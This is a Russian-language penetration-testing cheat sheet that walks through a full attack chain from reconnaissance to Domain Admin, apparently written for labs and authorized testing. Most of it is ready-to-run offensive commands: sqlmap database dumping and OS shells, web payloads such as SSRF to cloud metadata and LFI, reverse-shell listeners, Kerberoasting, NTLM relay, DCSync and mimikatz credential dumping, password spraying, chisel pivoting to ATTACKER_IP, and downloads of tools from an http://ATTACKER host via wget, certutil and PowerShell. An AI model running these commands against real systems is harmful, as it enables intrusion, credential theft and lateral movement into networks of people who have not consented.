Практический cheat-sheet с командами по всей kill-chain: от рекона до Domain Admin. Это рабочая шпаргалка, а не учебник — каждую команду понимай до флага, прежде чем запускать. Команды приведены для лабы/авторизованного scope. Цели в примерах (10.10.10.x, target.local, dc01) — плейсхолдеры, подставляй свои.
# pipx-инструменты, которых может не быть из коробки pipx install impacket pipx install git+https://github.com/Pennyw0rth/NetExec # современный форк CrackMapExec pipx install certipy-ad pipx install bloodyAD # Go-тулинг для рекона (ProjectDiscovery) go install github.com/projectdiscovery/httpx/cmd/httpx@latest go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest go install github.com/ffuf/ffuf/v2@latest # Wordlists sudo apt install seclists # /usr/share/seclists # rockyou: /usr/share/wordlists/rockyou.txt.gz -> gunzip
Game of Active Directory — готовая лаба с реальными мисконфигами. Лучший способ прокачать раздел 03.
git clone https://github.com/Orange-Cyberdefense/GOAD cd GOAD # разворачивается через Vagrant+Ansible (VirtualBox/VMware/Proxmox) ./goad.sh -t install -l GOAD -p virtualbox
scope/ recon/ loot/ notes.md. Логируй всё: script -a session.log в начале сессии. Личная база заметок (Obsidian/CherryTree) — главный долгосрочный актив специалиста.90% результата — в энумерации. Чем тщательнее карта поверхности атаки, тем меньше «угадывания» дальше. Правило: enumerate, then enumerate again.
# Быстрый первичный скан всех TCP-портов nmap -p- --min-rate 5000 -T4 10.10.10.10 -oN ports.txt # Детальный скан только открытых портов (версии + дефолтные скрипты) nmap -p22,80,445,3389 -sC -sV -A 10.10.10.10 -oN detailed.txt # UDP-топ (медленно, но SNMP/DNS/TFTP часто тут) sudo nmap -sU --top-ports 50 10.10.10.10 # Прицельные NSE-скрипты (пример: SMB-уязвимости) nmap -p445 --script smb-vuln-* 10.10.10.10
# Сводка по SMB-хосту, шарам, сессиям nxc smb 10.10.10.10 -u '' -p '' --shares # null-сессия nxc smb 10.10.10.10 -u guest -p '' --shares smbclient -L //10.10.10.10/ -N smbclient //10.10.10.10/share -N # Рекурсивный обход + скачивание шары smbmap -H 10.10.10.10 -u guest # NFS showmount -e 10.10.10.10
# Поддомены (пассивно) -> живые хосты -> технологии subfinder -d target.com -silent | httpx -silent -title -tech-detect -status-code # Фаззинг директорий и файлов ffuf -u http://10.10.10.10/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,401,403 # Фаззинг виртуальных хостов (vhost) ffuf -u http://10.10.10.10/ -H "Host: FUZZ.target.com" -w subdomains.txt -fs 0 # Сканер шаблонных уязвимостей nuclei -u http://10.10.10.10 -severity medium,high,critical
-fs / -fc / -fw в ffuf отсекает мусор по размеру/коду/числу слов ответа. Сначала запусти без фильтра, посмотри «фон», потом фильтруй базовый размер. Логика та же, что и отсечение false positive в детект-правилах.Инструмент Burp Suite — основной хаб (proxy → repeater → intruder). Ниже — CLI-помощники и проверки. Глубокая отработка: PortSwigger Web Security Academy (бесплатно, обязательно).
# Авто-проверка параметра (сохрани запрос из Burp в req.txt) sqlmap -r req.txt --batch --level 3 --risk 2 # Перечисление БД -> таблиц -> дамп sqlmap -r req.txt --dbs sqlmap -r req.txt -D app_db --tables sqlmap -r req.txt -D app_db -T users --dump # Попытка получить шелл / чтение файла (если права позволяют) sqlmap -r req.txt --os-shell sqlmap -r req.txt --file-read=/etc/passwd
Ручное понимание важнее: UNION-based, error-based, boolean/time-based blind. Учись определять тип по поведению ответа, а не только гонять sqlmap.
| Класс | Признак / вектор | Базовая проверка |
|---|---|---|
| XSS | Отражение ввода в HTML/JS | "><svg onload=alert(1)> в полях/параметрах |
| IDOR / BOLA | Идентификаторы в URL/теле | Менять id=1001 на чужой, проверять доступ |
| SSRF | Параметр с URL/хостом | Указать http://169.254.169.254/ (cloud metadata) |
| LFI | Параметр с путём/файлом | ../../../../etc/passwd, php-обёртки |
| XXE | Приём XML | External entity на file:// или SSRF |
| Upload | Загрузка файлов | Обход фильтра расширения/MIME -> webshell |
| Deserialization | Сериализованные объекты (cookie/param) | ysoserial (Java) / phpggc (PHP) |
| JWT | Bearer-токены | alg:none, слабый секрет -> hashcat mode 16500 |
Когда получил исполнение команд — нужен интерактивный доступ. Слушатель на своей машине, нагрузка на цели. Генератор синтаксиса под язык/ОС: revshells.com.
# Слушатель на атакующей машине nc -lvnp 4444 # или rlwrap nc -lvnp 4444 для истории команд # Стабилизация полученного шелла (Linux) python3 -c 'import pty;pty.spawn("/bin/bash")' # Ctrl+Z, затем: stty raw -echo; fg export TERM=xterm
Цель раздела: путь от unauthenticated до Domain Admin. Каждая атака ниже оставляет след в Security.evtx — полезно мысленно отмечать, что увидит SOC (purple-перспектива).
# Пользователи через null/guest, политика паролей nxc smb 10.10.10.10 -u '' -p '' --users --pass-pol enum4linux-ng -A 10.10.10.10 # С валидной учёткой: спрей по сети, проверка доступов nxc smb 10.10.10.0/24 -u user -p 'Passw0rd' nxc smb 10.10.10.10 -u user -p 'Passw0rd' --shares --users --groups # LDAP-дамп домена ldapdomaindump -u 'DOMAIN\user' -p 'Passw0rd' 10.10.10.10
# Сбор данных удалённо (Python-коллектор) bloodhound-python -u user -p 'Passw0rd' -d target.local -ns 10.10.10.10 -c All # Импорт .json в BloodHound CE, дальше — Cypher-запросы: # - Shortest paths to Domain Admins # - Kerberoastable users / AS-REP roastable # - где у моего юзера есть права (Owned -> outbound rights)
# AS-REP roasting (юзеры без преаутентификации) -- учётка не нужна impacket-GetNPUsers target.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.10 # Kerberoasting (SPN-аккаунты) -- нужна любая доменная учётка impacket-GetUserSPNs target.local/user:Passw0rd -dc-ip 10.10.10.10 -request # Полученные тикеты ломаем оффлайн (раздел 06) hashcat -m 13100 tgs.hash rockyou.txt # TGS (Kerberoast) hashcat -m 18200 asrep.hash rockyou.txt # AS-REP
# Перехват NetNTLM через отравление LLMNR/NBT-NS (слушать) sudo responder -I eth0 -wd # NTLM relay на хост без SMB-signing (предварительно: ntlmrelayx) impacket-ntlmrelayx -tf targets.txt -smb2support # при отключённом подписывании -> дамп SAM/исполнение команд на цели
# Проверка локального админа на парке (Pass-the-Hash тоже здесь) nxc smb 10.10.10.0/24 -u admin -H <NTLM-hash> --local-auth # Удалённое исполнение (выбирай по доступам/шуму) impacket-psexec target.local/admin:Passw0rd@10.10.10.10 impacket-wmiexec target.local/admin:Passw0rd@10.10.10.10 # тише, чем psexec evil-winrm -i 10.10.10.10 -u admin -p Passw0rd # DCSync -- вытащить хэши из домена (нужны права репликации) impacket-secretsdump target.local/admin:Passw0rd@10.10.10.10 -just-dc # ADCS-мисконфиги (ESC1-13) -- частый быстрый путь к DA certipy-ad find -u user@target.local -p Passw0rd -dc-ip 10.10.10.10 -vulnerable
Получил низкоприв доступ — теперь до root/SYSTEM. Сначала автоэнумерация, потом ручной разбор находок. Не запускай эксплойт, не поняв, что он делает.
# Автоэнумерация ./linpeas.sh | tee linpeas.out # Ручные базовые проверки sudo -l # что можно от рута без пароля find / -perm -4000 -type f 2>/dev/null # SUID-бинарники getcap -r / 2>/dev/null # capabilities crontab -l; cat /etc/crontab # cron-задачи # Любой найденный бинарь -> проверить вектор эксплуатации: # GTFOBins (gtfobins.github.io) -- готовые техники для sudo/SUID/capabilities
# Автоэнумерация .\winPEASany.exe # PowerShell-набор powershell -ep bypass; Import-Module .\PowerUp.ps1; Invoke-AllChecks # Ручные проверки whoami /priv # токен-привилегии (Se*Privilege) systeminfo # патчи -> поиск missing KB # Частые векторы: # SeImpersonate/SeAssignPrimaryToken -> Potato-техники (token impersonation) # Unquoted service path / слабые ACL службы / DLL hijack # AlwaysInstallElevated, хранимые креды (cmdkey /list, реестр autologon)
Скомпрометированный хост — мост во внутреннюю сеть, недоступную напрямую. Цель: добраться до сегментов за первой машиной.
# На атакующей машине (proxy/сервер): sudo ip tuntap add user $USER mode tun ligolo sudo ip link set ligolo up ./proxy -selfcert # На цели (agent) запускаешь клиент -> в консоли proxy: session # выбрать агента start # поднять туннель # затем добавляешь маршрут в внутреннюю подсеть на своей машине: sudo ip route add 192.168.50.0/24 dev ligolo
# Атакующая машина (сервер): ./chisel server -p 8000 --reverse # Цель (клиент) поднимает reverse SOCKS: ./chisel client ATTACKER_IP:8000 R:1080:socks # Маршрутизируем инструменты через SOCKS: # /etc/proxychains4.conf -> socks5 127.0.0.1 1080 proxychains nmap -sT -Pn 192.168.50.10 proxychains nxc smb 192.168.50.0/24 -u user -p pass
| Задача | Инструмент | Заметка |
|---|---|---|
| Полный pivot + маршрут | ligolo-ng | Самый удобный, без proxychains |
| Reverse SOCKS | chisel | Один бинарь, кроссплатформенно |
| Если есть SSH-доступ | ssh -D / -L / -R, sshuttle | Нативно, тихо |
| Проброс порта | socat | Быстрый ad-hoc relay |
# Определить тип хэша hashid '$2y$10$...' # или name-that-hash # Брут по словарю (-m = режим, см. таблицу) hashcat -m 0 hashes.txt rockyou.txt # MD5 hashcat -m 1000 hashes.txt rockyou.txt # NTLM # Словарь + правила (резко повышает покрытие) hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule # Маска (если известен паттерн пароля) hashcat -m 1000 hashes.txt -a 3 '?u?l?l?l?l?d?d?d!'
| Хэш | hashcat -m | Где встречается |
|---|---|---|
| NTLM | 1000 | Windows local/domain (SAM, NTDS) |
| Kerberos TGS | 13100 | Kerberoasting |
| Kerberos AS-REP | 18200 | AS-REP roasting |
| NetNTLMv2 | 5600 | Responder / relay |
| bcrypt | 3200 | web-приложения |
| JWT (HS256) | 16500 | токены сессий |
# SSH / FTP / прочее hydra -l admin -P rockyou.txt ssh://10.10.10.10 # Password spraying (один пароль на много юзеров -- обходит лок-аут) nxc smb 10.10.10.10 -u users.txt -p 'Summer2025!' --continue-on-success
--pass-pol), используй spraying с задержкой, держись внутри порога. На реальном проекте это согласуется отдельно.| C2 | Профиль | Заметка |
|---|---|---|
| Sliver | Open-source, Go | Лучший бесплатный вход в C2, активно развивается |
| Havoc | Open-source | Современный, гибкий профиль |
| Mythic | Модульный, агенты под разные ОС | Гибкая платформа для команд |
| Cobalt Strike | Коммерческий стандарт red team | Изучается на CRTO; в проде — по лицензии |
| Поверхность детекта | Класс обхода | Что изучать |
|---|---|---|
| AMSI (скан скриптов) | обход in-memory сканера | как работает AMSI и точки его перехвата |
| ETW (телеметрия) | снижение/обход телеметрии | что и куда пишет ETW, что видит EDR |
| EDR user-land хуки | unhooking / прямые syscalls | механика inline-хуков NTDLL |
| Сигнатуры файлов | обфускация / упаковка | почему статика ловит, чем меряется энтропия |
| Поведенческий детект | LOLBAS / fileless / OPSEC C2 | jitter, sleep, redirectors, named pipes |
# Сбор кред-материала после захвата хоста (авторизованно!) impacket-secretsdump -sam sam.hive -system system.hive LOCAL mimikatz # sekurlsa::logonpasswords # из памяти LSASS (на лабе) # Векторы персистентности (для red team-сценария, не на проде без согласования): # scheduled task / run-key / service / WMI event subscription # -- ровно то, что детектят DFIR-инструменты по EVTX. Замкни круг.
# На атакующей машине -- поднять HTTP-сервер python3 -m http.server 80 # Linux-цель wget http://ATTACKER/linpeas.sh -O /tmp/lp.sh; curl ... -o ... # Windows-цель certutil -urlcache -f http://ATTACKER/nc.exe nc.exe powershell "iwr http://ATTACKER/winpeas.exe -o wp.exe" # SMB-сервер (удобно для Windows) impacket-smbserver share . -smb2support
python3 -c 'import pty;pty.spawn("/bin/bash")' # затем: Ctrl+Z -> stty raw -echo; fg -> Enter -> export TERM=xterm # альтернативы: script /dev/null -qc /bin/bash ; socat (полный pty)
| # | Шаг | Зачем |
|---|---|---|
| 1 | Полный скан портов -> детальный по открытым | карта поверхности |
| 2 | Энумерация каждого сервиса по отдельности | найти вход |
| 3 | Initial foothold (web/служба/креды) | первый доступ |
| 4 | Стабилизировать шелл, осмотреться | не потерять доступ |
| 5 | Local privesc (PEAS -> ручной разбор) | root/SYSTEM |
| 6 | Сбор кред-материала, поиск pivot | движение дальше |
| 7 | Логировать всё с самого начала | отчёт = продукт |
Заказчик платит за отчёт, а не за рут. Умение писать чёткие формальные документы — недооценённое преимущество: многие технари ломать умеют, а внятно описать находки — нет.
# Структура отчёта пентеста 1. Executive Summary -- для руководства, без жаргона, бизнес-риск 2. Scope & Methodology -- что тестировали, по какому стандарту (PTES/OWASP) 3. Findings -- каждая: описание, severity (CVSS), PoC, воспроизведение 4. Attack Narrative -- хронология цепочки атаки (kill chain) 5. Remediation -- конкретные шаги починки, приоритизация 6. Appendices -- сырые данные, команды, артефакты, cleanup-лог
| Стандарт | Назначение |
|---|---|
| PTES | 7 фаз процесса пентеста — от pre-engagement до отчёта |
| OWASP WSTG | чек-лист тестирования web-приложений |
| MITRE ATT&CK | матрица TTP — мапить находки на тактики/техники |
| CVSS 3.1 / 4.0 | оценка severity + бизнес-контекст для приоритета |
| NIST 800-115 | техническое руководство по security assessment |